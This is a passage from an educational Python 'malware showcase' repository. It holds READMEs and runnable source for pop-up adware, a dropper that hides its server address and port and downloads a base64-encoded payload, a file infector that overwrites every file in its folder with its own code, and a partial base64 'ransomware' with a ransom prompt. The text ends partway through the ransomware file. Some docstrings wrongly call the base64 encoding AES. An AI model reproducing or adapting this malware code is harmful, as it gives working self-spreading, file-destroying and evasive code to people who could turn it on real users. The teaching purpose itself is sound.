├── LICENSE
├── README.md
├── adware
├── README.md
└── adware.py
├── dropper
├── README.md
├── dropper.py
└── server.py
├── file_infection
├── README.md
├── infector.py
├── target_file.ext
└── target_folder
│ └── target_file_2.ext
├── logo.svg
├── ransomware
├── README.md
├── ransomware.py
└── target_file.ext
├── requirements.txt
├── setup_env.sh
├── simple_ransomware
├── decrypt.py
├── file1.txt
├── file2.txt
├── file3.txt
├── thekey.key
└── voldemort.py
├── spyware
├── README.md
└── keylogger.py
├── trojan
├── README.md
├── server.py
└── trojan.py
└── worm
├── README.md
└── worm.py
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2019 Patrik Holop
2 |
3 | Permission is hereby granted, free of charge, to any person
4 | obtaining a copy of this software and associated documentation
5 | files (the "Software"), to deal in the Software without
6 | restriction, including without limitation the rights to use,
7 | copy, modify, merge, publish, distribute, sublicense, and/or sell
8 | copies of the Software, and to permit persons to whom the
9 | Software is furnished to do so, subject to the following
10 | conditions:
11 |
12 | The above copyright notice and this permission notice shall be
13 | included in all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
16 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
17 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
18 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
19 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
20 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
21 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 | 
3 | 
4 | 
5 |
6 | # Malware Showcase
7 |
8 |
9 |
10 | **Disclaimer**: This repository is taken with reference from PatrikH0lop/malware_showcase repository with some slight modification on my end as I am exploring to enhance the existing repo.
11 | I do not claim any ownership to this repo, just for educational purposes.
12 |
13 |
14 | This repository contains explanatory examples of malicious behavior like _file infection_ or _remote code execution_. It's supposed to demonstrate and explain
15 | the nature of malicious software with practical examples in Python.
16 |
17 | **Note:** _This repository contains examples of malicious files. It should be used for educational purposes only. Usage of files in this repository for any other purpose might cause you legal issues, even though the provided examples are very simple. It is advised to follow the instructions._
18 |
19 | ### Showcase structure
20 |
21 | - **File infector** - This kind of malware infects other files. Common example of such behavior is _code injection_. Malicious code is injected into targeted files and might be later executed. This allows the file infectors to spread. The purpose of their payload might differ, from harmless to destructive behavior.
22 | - [Simple file infector in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/file_infection)
23 | - **Trojan (trojan horse)** - This kind of malware tries to look like a legitimate software and the malicious activity is hidden from the victim. Common example of such behaviour is _spying on victims_. Trojans can be more precisely classified by a purpose of the malicious segment. They were named after the Greek story, in which the city of Troy has accepted a statue of wooden horse as a gift from their enemies, while the enemy soldiers were hidden inside.
24 | - [Simple trojan in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/trojan)
25 | - **Worm** - This kind of malware tries to spread on the network and does not need a host file to spread. Worms might contain malicious payload and execute commands on the compromised systems or just consume the network bandwidth to jam the communication.
26 | - [Simple worm in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/worm)
27 | - **Spyware** - This kind of malware tries to spy on the victim and steal his or her data. There exist various ways of spying on the victim, for example scanning the pressed keys on the keyboard. In comparison with the trojan horse, spyware stays often hidden from the sight of the victim.
28 | - [Simple keylogger in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/spyware)
29 | - **Ransomware** - This kind of malware tries to encrypt your files or even restrict your access to the system until a financial ransom is paid. It might continuously remove your files to increase the threat and force you to submit. Ransomwares became very popular in the recent years.
30 | - [Simple ransomware in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/ransomware)
31 | - **Adware** - This kind of malware tries to aggressively show ads to the victims. Usually it is just an annoying software that does not have any harmful intentions. Adware might try various methods to make the advertising more persistent.
32 | - [Simple adware in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/adware)
33 | - **Dropper** - This kind of malware attemps to download or dump malicious code to the target system. The malware can be secretly embedded in the dropper itself or downloaded from a remote server. It often tries to avoid detection by obfuscation and encryption.
34 | - [Simple dropper in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/dropper)
35 |
36 | ### Installation
37 |
38 | Make sure that you have installed [Python3](https://www.python.org/download/), system package `python3-dev` and Python package `wheel`.
39 | ```console
40 | sudo apt install python3-dev
41 | pip3 install wheel
42 | python3 setup.py bdist_wheel # You might need to run this command as well.
43 | ```
44 |
45 | To setup a virtual environment, run the following command:
46 | ```console
47 | source setup_env.sh
48 | ```
49 | Or you can install required Python packages listed in `requirements.txt` on your own.
50 | If something goes wrong during the installation, the script should provide you information
51 | about possible failures. You can then focus on the problematic steps in `setup_env.sh` and
52 | fix the problem.
53 |
--------------------------------------------------------------------------------
/adware/README.md:
--------------------------------------------------------------------------------
1 | # Adware
2 |
3 | Adware is usually the least harmful type of malware, because it tries to promote some products and force the user to see advertisements in many ways, for example in the web browser every time the user loads a website. Our adware shows three annoying popup windows on the screen promoting various products.
4 |
5 | #### Demonstration of behavior
6 |
7 | We don't need any specific preparation before an execution of the adware (`./adware.py`). Immediately after the execution we can see three popup windows showing advertisements on our screen. This might be annoying and still relatively fine, but when we press the close button on any popup window, nothing happens and the ad is still shown on the screen.
8 |
9 | Creation of basic **adware** is very simple process as it is described below. That's why you should be always cautious when executing uncommon or not trusted files.
10 |
11 | #### How does it work
12 |
13 | - Firstly, we create our **adware** and pass it arguments from the system. Because we need a proper GUI,
14 | we are using Python module called [PySide2](https://pypi.org/project/PySide2/). To learn more about GUI programming, see [the guide to GUI programming in Python](https://wiki.qt.io/Qt_for_Python). Our class **Adware** inherits from the **QApplication** and represents main QT application.
15 | ```python
16 | adware = Adware(sys.argv)
17 | ```
18 | - We call the method _show_ads()_, which creates dialog popups and pass the references to these forms to variable in main module `windows`. It is important not to loose reference to those windows, because otherwise they will not be shown on the screen.
19 | ```python
20 | windows = adware.show_ads()
21 | ```
22 | - Our adware has a property **advert_slogans**, which represents a list of ad slogans we want our victim
23 | to see. For each of those slogans we want to create a unique popup window by calling the method _create_ad_window()_.
24 | ```python
25 | ad_windows = []
26 | for advert in self.advert_slogans:
27 | # Create a new ad window.
28 | ad_window = self.create_ad_window(advert)
29 | ```
30 | - Because these windows would popup on the same place on the screen and overlap each other, we need to move the created popup windows to random location on the screen.
31 | ```python
32 | # Move this window to random location on screen.
33 | x_coordinate, y_coordinate = random.randint(1, 800), random.randint(1, 600)
34 | ad_window.move(x_coordinate, y_coordinate)
35 | ```
36 | - To create a popup windows, our function _create_ad_window_ creates a new **AdWindow** with the given slogan. To show the window on the screen, we must call the method _show_.
37 | ```python
38 | window = AdWindow(ad_slogan=ad_slogan)
39 | window.show()
40 | ```
41 | - The popup window called **AdWindow** inherits from **QDialog** and represents independent window with
42 | layout containing only one label showing the ad. However, to make adware more annoying and show ads more aggressively, we set the window to ignore close signal when the victim presses close button. When this happens, the window obtaines information about a new event called **closeEvent**. We will simply ignore any action so the window stays on the screen.
43 | ``` python
44 | def closeEvent(self, event):
45 | event.ignore()
46 | ```
47 |
--------------------------------------------------------------------------------
/adware/adware.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """ Implementation of simple adware that pops multiple
4 | windows with the advertisements.
5 | """
6 |
7 | import logging
8 | import sys
9 | import random
10 |
11 | from PySide2.QtWidgets import QApplication, QDialog, QLabel, QVBoxLayout
12 |
13 |
14 | class AdWindow(QDialog):
15 | """ This class represents ad window shown on the screen. """
16 |
17 | def __init__(self, ad_slogan, parent=None):
18 | super(AdWindow, self).__init__(parent)
19 | self.setWindowTitle("Advertisement!")
20 |
21 | # Create a layout so that the ad slogan is shown.
22 | self.label = QLabel(ad_slogan)
23 | layout = QVBoxLayout()
24 | layout.addWidget(self.label)
25 |
26 | self.setLayout(layout)
27 |
28 | def closeEvent(self, event):
29 | # Ignore the close event so that the ad
30 | # can't be closed by pressing close button.
31 | event.ignore()
32 |
33 |
34 | class Adware(QApplication):
35 | """ This class represents implementation of adware. """
36 |
37 | def __init__(self, args):
38 | super(Adware, self).__init__(args)
39 |
40 | @property
41 | def advert_slogans(self):
42 | """ Slogans of the promoted adds. """
43 | return (
44 | 'Buy the milk in the milk shops!',
45 | 'Buy the clothes in the wool shops!',
46 | 'Buy the food in the food shops!'
47 | )
48 |
49 | def create_ad_window(self, ad_slogan):
50 | """ Creates a windows showing the advertisement
51 | slogan.
52 |
53 | :param str ad_slogan: Text of the ad.
54 | """
55 | window = AdWindow(ad_slogan=ad_slogan)
56 | window.show()
57 | return window
58 |
59 | def show_ads(self):
60 | """ Creates the main GUI application and shows
61 | the ads based on `:class:~Adware.advert_slogans`
62 | """
63 | ad_windows = []
64 | for advert in self.advert_slogans:
65 | # Create a new ad window.
66 | ad_window = self.create_ad_window(advert)
67 | # Move this window to random location on screen.
68 | x_coordinate, y_coordinate = random.randint(1, 800), random.randint(1, 600)
69 | ad_window.move(x_coordinate, y_coordinate)
70 | ad_windows.append(ad_window)
71 |
72 | return ad_windows
73 |
74 |
75 | if __name__ == '__main__':
76 | logging.basicConfig(level=logging.DEBUG)
77 |
78 | # Create our adware and show the ads.
79 | adware = Adware(sys.argv)
80 | windows = adware.show_ads()
81 |
82 | sys.exit(adware.exec_())
83 |
--------------------------------------------------------------------------------
/dropper/README.md:
--------------------------------------------------------------------------------
1 | # Dropper
2 |
3 | Our **dropper** is implemented in the file `dropper.py`. It tries to download some malicious code from a remote server and ideally avoid any detection. The server is implemented in the file `server.py` and sends the malicious payload to the targeted system as soon as the dropper requests a connection. Received payload is dumped into the file and the malware was successfully delivered.
4 |
5 | #### Demonstration of behavior
6 |
7 | The first thing that the attacker must do is to set up a server that distributes malware to its clients. Therefore, we will set up a running server on our computer by running `./server.py`. You should see the following text:
8 | ```
9 | DEBUG:user:Server was successfully initialized.
10 | ```
11 | In the second console, execute the **dropper** as a victim with the command `./dropper.py`. We should immediately see the following text on the attacker's console:
12 | ```
13 | Connection with dropper established from ('127.0.0.1', 46682)
14 | ```
15 | and the server shuts down. This means that our client has successfully connected to our server.
16 |
17 | To verify that the dropper has served its purpose, list the directory where the dropper is located and you will see that a new file `malware.py` has been created. For demostration purposes, the "malicious" code is just a simple command to print short text. Execute the file by running `python malware.py`. After doing so, you should see the following text:
18 | ```
19 | Hello there
20 | ```
21 |
22 | Creation of basic **dropper** is very simple process as it is described below and anyone can do it just with the basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file.
23 |
24 | #### How does it work?
25 |
26 | ##### Server
27 |
28 | - Firstly, we create our **server** that should send malicious code to a running **dropper** client executed
29 | by the victim. The server will listen on the specific port that must be the same as is the one used by our **dropper**.
30 | In this example, both the **server** and **dropper** will be executed on the same computer, but the
31 | **server** might be remote and located anywhere in the world.
32 | ```python
33 | server = Server(27000)
34 | ```
35 | Communication is realized via **TCP** protocol specified by `socket.SOCK_STREAM` (To learn more about network protocols see [the guide to network communication](https://support.holmsecurity.com/hc/en-us/articles/212963869-What-is-the-difference-between-TCP-and-UDP-).
36 | ```python
37 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
38 | ```
39 |
40 | - Then we need to initialize the server by binding it to the specified port.
41 | ```python
42 | server.initialize()
43 | ```
44 | - We can observe the malicious command that should be send to the dropper. In this case, it's just a simple command to print some text.
45 | ```python
46 | @property
47 | def malware_code(self):
48 | return b'print("Hello there")'
49 | ```
50 | - The most important part is the connection with the victim. This is implemented in the _send_malicious_code_ function provided by the **server**. It waits for the connection initiated by the **dropper** after its execution on the victim's system. It then simply sends the payload and terminates the connection.
51 | ```python
52 | with connection:
53 | print('Connection with dropper established from {}'.format(address))
54 | # Send data to the client and close the server.
55 | encoded_payload = base64.b64encode(self.malicious_code)
56 | connection.send(encoded_payload)
57 | ```
58 | - The first attempt to prevent detection is coming and it's encryption of the malicious code. What if someone sees everything we send over the network? If so, our malicious code might be detected immediately and communication stopped or the victim will be notified. That's why we use at least some layer of encryption. For demonstration, we can use basic encoding **base64**. To learn more about **base64** see [the guide to base64](https://blogs.oracle.com/rammenon/base64-explained).
59 | ```python
60 | encoded_payload = base64.b64encode(self.malicious_code)
61 | ```
62 |
63 | ##### Dropper (client)
64 |
65 | - Firstly, we must initialize our **dropper**. This service requires a name of the host (server) and the
66 | specified port for communication. A host named `localhost` means that the server is listening on the same
67 | system as our client. A second attempt is made to avoid detection. What if someone glanced over the code of our dropper and spots some suspicious address? Or maybe our victim scans the files for possible port numbers and if the number `27000` is displayed, they might suspect something. We have to hide this data somehow, so we pass some innocent looking arguments.
68 |
69 | ```python
70 | dropper = Dropper('tsoh', 'lacol', 729000000)
71 | ```
72 | - If someone inspects the code, they can see the methods for network communication. However, based on the arguments passed to our dropper it's not clear with whom and which port will be used (maybe `729000000`?). We can construct the necessary connection attributes dynamically during runtime. Method _decode\_hostname_ takes two strings, switches their order and reserses them. From the first two arguments passed to our dropper we suddenly get the string `localhost`. And to get the port, we can simply calculate the square root from the last argument. Easy to do, but harder to detect.
73 | ```python
74 | def decode_hostname(self, str1, str2):
75 | """ Constructs the hostname of remote server. """
76 | return str2[::-1] + str1[::-1]
77 |
78 | def decode_port(self, port):
79 | """Constructs the port of remote server. """
80 | return int(math.sqrt(port))
81 | ```
82 |
83 | - Now, we try to connect to the server. This connection should remain hidden from the victim. The logged message is presented only so that we can detect any errors in our example.
84 | ```python
85 | try:
86 | self.socket.connect((self.host, self.port))
87 | except socket.error:
88 | logging.debug('Dropper could not connect to the server.')
89 | return
90 | ```
91 |
92 | - Then the **dropper** tries to greet the victim as a harmless program.
93 | ```python
94 | # Try to act as an ordinary application.
95 | print(
96 | 'Hello, this is a totally ordinary app. '
97 | 'I\'m surely not doing anything malicous'
98 | )
99 | ```
100 | - In the meantime, the client will try to receive the malicious code from the remote server. Remember that the data are encrypted using Base64, so we have to decode them and we have successfully downloaded the malware.
101 | ```python
102 | # Receive the malicious code in the encrypted form.
103 | command = self.socket.recv(1000)
104 | # Decode the malicious payload and dump it into a file.
105 | decode_payload = base64.b64decode(command)
106 | ```
107 | - The last thing left is to either execute the retrieved code or simply write it into a file. The payload was successfully delivered to the target system by doing so.
108 | ```python
109 | with open('malware.py', 'wb') as file:
110 | file.write(data)
111 | ```
--------------------------------------------------------------------------------
/dropper/dropper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """ Implementation of dropper that downloads malicious code from the server
4 | and dumps it into a file.
5 | """
6 |
7 | import base64
8 | import logging
9 | import socket
10 | import math
11 |
12 |
13 | class Dropper:
14 | """ This class represents the implementation of dropper.
15 | """
16 |
17 | def __init__(self, host1, host2, number):
18 | # Construct hostname of the remote server from the first two
19 | # arguments.
20 | self._host = self.decode_hostname(host1, host2)
21 | # Calculate the port number from the last argument.
22 | self._port = self.decode_port(number)
23 | # Initialize socket for the connection.
24 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
25 |
26 | @property
27 | def host(self):
28 | """ Server that sends us the malicious code. """
29 | return self._host
30 |
31 | @host.setter
32 | def host(self, new_host):
33 | self._host = new_host
34 |
35 | def decode_hostname(self, str1, str2):
36 | """ Returns hostname of the remote server. """
37 | return str2[::-1] + str1[::-1]
38 |
39 | @property
40 | def port(self):
41 | """ Port, on which the server runs (`int`). """
42 | return self._port
43 |
44 | @port.setter
45 | def port(self, new_port):
46 | self._port = new_port
47 |
48 | def decode_port(self, port):
49 | """Returns target port of the remote server. """
50 | return int(math.sqrt(port))
51 |
52 | @property
53 | def socket(self):
54 | """ Client socket. """
55 | return self._socket
56 |
57 | def dump_data(self, data):
58 | """ Write the retrieved data from the server into the file.
59 | """
60 | with open('malware.py', 'wb') as file:
61 | file.write(data)
62 |
63 | def download_malicious_code(self):
64 | """ Download malicious code from the server. """
65 | # Create a connection to the server.
66 | try:
67 | self.socket.connect((self.host, self.port))
68 | except socket.error:
69 | logging.debug('Dropper could not connect to the server.')
70 | return
71 |
72 | # Try to act as an ordinary application.
73 | print(
74 | 'Hello, this is a totally ordinary app. '
75 | 'I\'m surely not doing anything malicous'
76 | )
77 |
78 | # Receive the malicious code in the encrypted form.
79 | command = self.socket.recv(1000)
80 | # Decode the command and dump it into a file.
81 | decode_payload = base64.b64decode(command)
82 | self.dump_data(decode_payload)
83 |
84 |
85 | if __name__ == '__main__':
86 | logging.basicConfig(level=logging.DEBUG)
87 |
88 | # Initialize dropper application.
89 | dropper = Dropper('tsoh', 'lacol', 729000000)
90 | # Collect the malicious code and dump it into the file.
91 | dropper.download_malicious_code()
92 |
--------------------------------------------------------------------------------
/dropper/server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """ Implementation of the server that sends some malicious code to its
4 | dropper client.
5 | """
6 |
7 | import base64
8 | import logging
9 | import socket
10 |
11 |
12 | class Server:
13 | """ This class represents a server that stores some malicious payload and sends
14 | it to the dropper once the connection is established.
15 | """
16 |
17 | def __init__(self, port):
18 | self._port = port
19 | # Initialize the socket for connection.
20 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
21 |
22 | @property
23 | def malicious_code(self):
24 | """ Malicious payload. In this case just a demonstrative command. """
25 | return b'print("Hello there")'
26 |
27 | @property
28 | def port(self):
29 | """ Port, on which the server runs (`int`). """
30 | return self._port
31 |
32 | @port.setter
33 | def port(self, new_port):
34 | self._port = new_port
35 |
36 | @property
37 | def socket(self):
38 | """ Server socket. """
39 | return self._socket
40 |
41 | def initialize(self):
42 | """ Initialize server before the session. """
43 | try:
44 | self.socket.bind(('localhost', self._port))
45 | self.socket.listen()
46 | logging.debug('Server was successfully initialized.')
47 | except socket.error:
48 | print('Server was not initialized due to an error.')
49 |
50 | def send_malicious_code(self):
51 | """ Send malware to the client once the connection is established. """
52 | # Establish a connection with the client.
53 | connection, address = self.socket.accept()
54 | with connection:
55 | print('Connection with dropper established from {}'.format(address))
56 | # Send data to the client and shut down the server.
57 | encoded_payload = base64.b64encode(self.malicious_code)
58 | connection.send(encoded_payload)
59 |
60 |
61 | if __name__ == '__main__':
62 | logging.basicConfig(level=logging.DEBUG)
63 |
64 | # Create and initialize a server running on attacker's side.
65 | server = Server(27000)
66 | server.initialize()
67 | # Send a payload to the dropper client once it establishes a connection.
68 | server.send_malicious_code()
69 |
--------------------------------------------------------------------------------
/file_infection/README.md:
--------------------------------------------------------------------------------
1 | # File infection
2 |
3 | Our **file infector** is implemented in the file `infector.py`. It infects all files in the same directory with its own code that allows it to spread in the future. When the targeted file is executed, it should perform the same malicious infection on other files as our own **file infector**.
4 |
5 | #### Demonstration of behavior
6 |
7 | Observe `target_file.ext` before the execution of **file infector**. It is a simple file located in the same directory as our **file infector**. To see the behavior of **file infector**, simply execute it in this folder (```./infector.py```). You should see something like this:
8 | ```
9 | DEBUG:user:Infecting file: ./target_file.ext
10 | DEBUG:user:Infecting file: ./infector.py
11 | INFO:user:Number of infected files: 1
12 | ```
13 | Our **file infector** has tried to infect every file in this folder, even itself, but has successfully infected only `target_file.ext` (explained below). Now move the infected file into folder `target_folder/` and execute it the same way as we have executed our **file infector** (`./target_file.ext`). You should see similar information as above but this time we have successfully infected `target_file_2.ext` by using the infected `target_file.ext`.
14 |
15 | Creation of **file infector** is very simple process as it is described below and anyone can do it just with basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file.
16 |
17 | #### How does it work?
18 |
19 | - Firstly, we create our **file infector** and give it a name.
20 | ```python
21 | code_injector = FileInfector('SimpleFileInfector')
22 | ```
23 | - Then we must **choose a folder** with files we want to infect. We call function *infect_files_in_folder*
24 | that is provided by our **file infector** and pass the path to the folder as an argument. This function
25 | returns the number of infected files.
26 | ```python
27 | number_infected_files = code_injector.infect_files_in_folder(path)
28 | ```
29 | - The first thing that needs to be done is a lookup for all filenames in the same directory. This implementation ignores _README_ files, because **file infector** would infect this file as well if you execute it.
30 | - The second step is to check whether the file has been already infected. If you run our **file infector** multiple times, you can see that it ignores files that it has already infected. This might be done by using some sort of mark left in the infected file together with injected code. In this case it is a string `INJECTION SIGNATURE` in the module docstring. Our **file infector** reads the content of the targeted file and if it contains this signature, malware continues with other files.
31 | ```python
32 | """ Implementation of file infector in Python.
33 | INJECTION SIGNATURE
34 | """
35 | ```
36 | - Because we expect the injected code to be executed, we must be sure that the targeted file has valid permissions for execution. To learn more about permissions, see [the guide to Linux permissions](https://www.linux.com/learn/understanding-linux-file-permissions).
37 | ```python
38 | os.chmod(file, 777)
39 | ```
40 | - The last step is to write the code of **our own file** into the targeted file.
41 | ```python
42 | with open(file, 'w') as infected_file:
43 | infected_file.write(self.malicious_code)
44 | ```
45 | - To obtain the **code of our own application**, we can simply read the source file. A name of the file is always passed as the first argument before the execution. We should obtain the name from this argument, because the infected files might have various names and the code should work in all of them. Because _malicious_code_ is a **cached property**, we
46 | would access the source file only once.
47 | ```python
48 | malicious_file = sys.argv[0]
49 | with open(malicious_file, 'r') as file:
50 | malicious_code = file.read()
51 | ```
52 |
53 |
--------------------------------------------------------------------------------
/file_infection/infector.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """ Implementation of file infector in Python.
4 | INJECTION SIGNATURE
5 | """
6 |
7 | import logging
8 | import os
9 | import sys
10 | from cached_property import cached_property
11 |
12 |
13 | class FileInfector:
14 | """ This class represents the code injecting malware.
15 | """
16 |
17 | def __init__(self, name):
18 | self._name = name
19 |
20 | @property
21 | def name(self):
22 | """ Name of the malware. """
23 | return self._name
24 |
25 | @name.setter
26 | def name(self, new_name):
27 | self._name = new_name
28 |
29 | @cached_property
30 | def malicious_code(self):
31 | """ Malicious code. In the case of this file
32 | injector it is this whole file.
33 | """
34 | # Get the name of this file.
35 | malicious_file = sys.argv[0]
36 | with open(malicious_file, 'r') as file:
37 | malicious_code = file.read()
38 |
39 | return malicious_code
40 |
41 | def infect_files_in_folder(self, path):
42 | """ Perform file infection on all files in the
43 | given directory specified by path.
44 |
45 | :param str path: Path of the folder to be infected.
46 | :returns: Number of injected files (`int`).
47 | """
48 | num_infected_files = 0
49 | # List the directory to get all files.
50 | files = []
51 | for file in os.listdir(path):
52 | # For the demostration purposes ignore README.md
53 | # from the repository.
54 | if file == 'README.md':
55 | continue
56 |
57 | file_path = os.path.join(path, file)
58 | if os.path.isfile(file_path):
59 | files.append(file_path)
60 |
61 | # Inject each file in the directory.
62 | for file in files:
63 | logging.debug('Infecting file: {}'.format(file))
64 |
65 | # Read the content of the original file.
66 | with open(file, 'r') as infected_file:
67 | file_content = infected_file.read()
68 | # Check whether the file was already infected by scanning
69 | # the injection signature in this file. If so, skip the file.
70 | if "INJECTION SIGNATURE" in file_content:
71 | continue
72 |
73 | # Ensure that the injected file is executable.
74 | os.chmod(file, 777)
75 |
76 | # Write the original and malicous part into the file.
77 | with open(file, 'w') as infected_file:
78 | infected_file.write(self.malicious_code)
79 |
80 | num_infected_files += 1
81 |
82 | return num_infected_files
83 |
84 |
85 | if __name__ == '__main__':
86 | logging.basicConfig(level=logging.DEBUG)
87 |
88 | # Create file injector.
89 | code_injector = FileInfector('SimpleFileInfector')
90 |
91 | # Infect all files in the same folder.
92 | path = os.path.dirname(os.path.abspath(__file__))
93 | number_infected_files = code_injector.infect_files_in_folder(path)
94 |
95 | logging.info('Number of infected files: {}'.format(number_infected_files))
96 |
--------------------------------------------------------------------------------
/file_infection/target_file.ext:
--------------------------------------------------------------------------------
1 | Just a normal file.
2 |
--------------------------------------------------------------------------------
/file_infection/target_folder/target_file_2.ext:
--------------------------------------------------------------------------------
1 | Just a second normal file.
2 |
--------------------------------------------------------------------------------
/logo.svg:
--------------------------------------------------------------------------------
1 |
2 |
151 |
--------------------------------------------------------------------------------
/ransomware/README.md:
--------------------------------------------------------------------------------
1 | # Ransomware
2 |
3 | Our **ransomware** is implemented in the file `ransomware.py`. It encrypts all files in the same directory and shows a ransom message, requesting financial amount of 0.1 USD for user to obtain the key. Once the user provides the correct key, it decrypts those files, otherwise they would stay encrypted.
4 |
5 | #### Demonstration of behavior
6 |
7 | Before the execution of **ransomware** observe `target_file.ext`. It is a simple file located in the same directory as out **ransomware**. To see the behavior of **ransomware**, simple execute it in this folder (`./ransomware`). You should see something like this:
8 |
9 | ```
10 | DEBUG:root:Encrypting file: malware_showcase/ransomware/target_file.ext
11 | Hi, all your files has been encrypted. Please send 0.1 USD on this address
12 | to get a decryption key: XYZ.
13 | Number of encrypted files: 1
14 | Please enter a key:
15 | ```
16 |
17 | Now do not type anything, just observe `target_file.ext` in the second terminal. You can see that its original content `Just an ordinary text file.` was encoded to `SnVzdCBhbiBvcmRpbmFyeSB0ZXh0IGZpbGUuCg==` (for the more experienced users it is obvious that it is a simple format of **base64**). However, this **ransomware** assumes that the user does not know the basics of cryptography. Now we have two options as the user. We might guess the key, in which case the program ends and our files stay encrypted, or we "send a payment to the bank address XYZ" and obtain the correct key:
18 | ```
19 | Please enter a key: __ransomware_key
20 | ```
21 | This triggers a decryption of data and as we can observe, the content of our file is restored.
22 |
23 | Creation of basic **ransomware** is very simple process as it is described below and anyone can do it just with basics in programming and understandment of encryption. That's why we should be always cautious when we execute any uncommon or not trusted files.
24 |
25 | #### How does it work?
26 |
27 | - Firstly, we create our **ransomware** and give it a name.
28 | ```python
29 | ransomware = Ransomware('SimpleRansomware')
30 | ```
31 | - Then we must **choose a folder** with files we want to encrypt. We call function *encrypt_files_in_folder* that is provided by our **ransomware** and pass the path to the folder as an argument. This function returns the number encrypted files.
32 | ```python
33 | number_encrypted_files = ransomware.encrypt_files_in_folder(path)
34 | ```
35 | - The first thing that needs to be done is a lookup for all filenames in the same directory (function _get_files_in_folder(path)_). This implementation ignores _README_ files, because **ransomware** would encrypt also this file as well if you run it.
36 | - Then we can simple encrypt each found file. The process of encryption is described below.
37 | ```python
38 | for file in files:
39 | logging.debug('Encrypting file: {}'.format(file))
40 | self.encrypt_file(file)
41 | ```
42 | - The encryption part is the most important. There are many ways of how to encrypt the files. Usually
43 | the encryption key would take a part in encryption as well (with much stronger encryption algorithm), but for demonstration we can use basic encoding **base64**. To learn more about **base64** see [the guide to base64](https://blogs.oracle.com/rammenon/base64-explained). In this case we load the data from the file, encrypt them to base64 and then write them back to the file.
44 | ```python
45 | # Load the content of file.
46 | with open(filename, 'r') as file:
47 | content = file.read()
48 | # Encrypt the file content with base64.
49 | encrypted_data = base64.b64encode(content.encode('utf-8'))
50 | # Rewrite the file with the encoded content.
51 | with open(filename, 'w') as file:
52 | file.write(encrypted_data.decode('utf-8'))
53 | ```
54 | - Once all files are encrypted, we can show our ransom message to the user, requesting money for the key.
55 | - The decryption part is very similar to encryption. However, in this case we load the key and compare it with our default key `__ransomware_key`. If they are equal, we simply revert the previously done encryption. If the user enters a different key, the program ends and the files stay encrypted.
56 | ```python
57 | # Obtain a key from the user.
58 | key = self.obtain_key()
59 | if key != self.key:
60 | print('Wrong key!')
61 | return
62 |
63 | files = self.get_files_in_folder(path)
64 |
65 | # Decrypt each file in the directory.
66 | for file in files:
67 | self.decrypt_file(key, file)
68 | ```
69 |
--------------------------------------------------------------------------------
/ransomware/ransomware.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | """ Implementation of simple ransomware in Python.
4 | """
5 |
6 | import logging
7 | import os
8 | import sys
9 | import base64
10 |
11 |
12 | class Ransomware:
13 | """ This class represents file encrypting ransomware.
14 | """
15 |
16 | def __init__(self, name):
17 | self._name = name
18 |
19 | @property
20 | def name(self):
21 | """ Name of the malware. """
22 | return self._name
23 |
24 | @name.setter
25 | def name(self, new_name):
26 | self._name = new_name
27 |
28 | @property
29 | def key(self):
30 | """ Key used for encryption of data. """
31 | return "__ransomware_key"
32 |
33 | def obtain_key(self):
34 | """ Obtain key from a user. """
35 | return input("Please enter a key: ")
36 |
37 | def ransom_user(self):
38 | """ Inform user about encryption of his files. """
39 | print(
40 | "Hi, all your files has been encrypted. Please "
41 | "send 0.1 USD on this address to get decryption"
42 | " key: XYZ."
43 | )
44 |
45 | def encrypt_file(self, filename):
46 | """ Encrypt the given file with AES encryption algoritm.
47 | :param str filename: Name of the file.
48 | """
49 | # Load the content of file.
50 | with open(filename, 'r') as file:
51 | content = file.read()
52 | # Encrypt the file content with base64.
53 | encrypted_data = base64.b64encode(content.encode('utf-8'))
54 | # Rewrite the file with the encoded content.
55 | with open(filename, 'w') as file:
56 | file.write(encrypted_data.decode('utf-8'))
57 |
58 | def decrypt_file(self, key, filename):
59 | """ Decrypt the given file with AES encryption algoritm.
60 | :param str key: Decryption key.
61 | :param str filename: Name of the file.
62 | """
63 | # Load the content of file.
64 | with open(filename, 'r') as file:
65 | content = file.read()
66 | # Decrypt the file content.
67 | decrypted_data = base64.b64decode(content)
68 | # Rewrite the file with the encoded content.
69 | with open(filename, 'w') as file:
70 | content = file.write(decrypted_data.decode('utf-8'))
71 |
72 | def get_files_in_folder(self, path):
73 | """ Returns a `list` of all files in the folder.
74 |
75 | :param str path: Path to the folder
76 | """
77 | # List the directory to get all files.
78 | files = []
79 | for file in os.listdir(path):
80 | # For the demostration purposes ignore README.md
81 | # from the repository and this file.
82 | if file == 'README.md' or file == sys.argv[0]:
83 | continue
84 |
85 | file_path = os.path.join(path, file)
86 | if os.path.isfile(file_path):
87 | files.append(file_path)
88 |
89 | return files
90 |
